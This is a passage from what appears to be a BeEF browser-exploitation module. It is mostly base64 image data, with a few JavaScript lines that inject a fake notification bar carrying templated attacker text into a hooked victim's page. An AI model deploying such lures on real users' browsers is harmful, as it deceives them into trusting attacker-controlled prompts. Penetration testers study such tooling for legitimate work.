OnFWRfQKdJvQzV1+Bt8OokmrdtY2yhVX2a+qrykJfMq4Ml3VR4cVzTQVz+UoNne4vcKLoyS+gyKO6EHe+75Fdt0Mbe5bRIf/wjvrVmhbqBN97RD1vxrahvBOfOYzoosH9bq94uejSOQGkVM6sN/7HelL4t10t9F4gPdVzydEOx83Gv+uNxo7XyL/FtFl8z9ZAHF4bBsrEwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAW5pVFh0WE1MOmNvbS5hZG9iZS54bXAAAAAAADx4OnhtcG1ldGEgeG1sbnM6eD0iYWRvYmU6bnM6bWV0YS8iIHg6eG1wdGs9IlhNUCBDb3JlIDQuNC4wIj4KICAgPHJkZjpSREYgeG1sbnM6cmRmPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4KICAgICAgPHJkZjpEZXNjcmlwdGlvbiByZGY6YWJvdXQ9IiIKICAgICAgICAgICAgeG1sbnM6ZGM9Imh0dHA6Ly9wdXJsLm9yZy9kYy9lbGVtZW50cy8xLjEvIj4KICAgICAgICAgPGRjOnN1YmplY3Q+CiAgICAgICAgICAgIDxyZGY6QmFnLz4KICAgICAgICAgPC9kYzpzdWJqZWN0PgogICAgICA8L3JkZjpEZXNjcmlwdGlvbj4KICAgPC9yZGY6UkRGPgo8L3g6eG1wbWV0YT4K5T8NQQAAAE5JREFUGBmFTsENwEAIgg7T/efpMlRMMLafM1EBMUoAqoT0uE2Qd2NWbYOZJHOQHI0lfgQbEl64TLKZwdbasAd/3IZ9M4ZoxyfnxP5j4xfHNiMDVDlNEAAAAABJRU5ErkJggg==);'})\n        var elp = beef.dom.createElement('div',{'id':pid,'style':'margin: 2px 50px 0 4px; height: 25px; line-height: 25px; font-family: sans-serif; font-size: 12px; padding-bottom: 5px'});\n        $j('body').append(el);\n        var hid = '#'+id;\n        var hpid = '#'+pid;\n        $j(hid).append(elp);\n        $j(hpid).html(\"<%= @notification_text %>&nbsp;<img style='padding:0; margin:5px; position: absolute; top: 0;' src='data:image/png;base64,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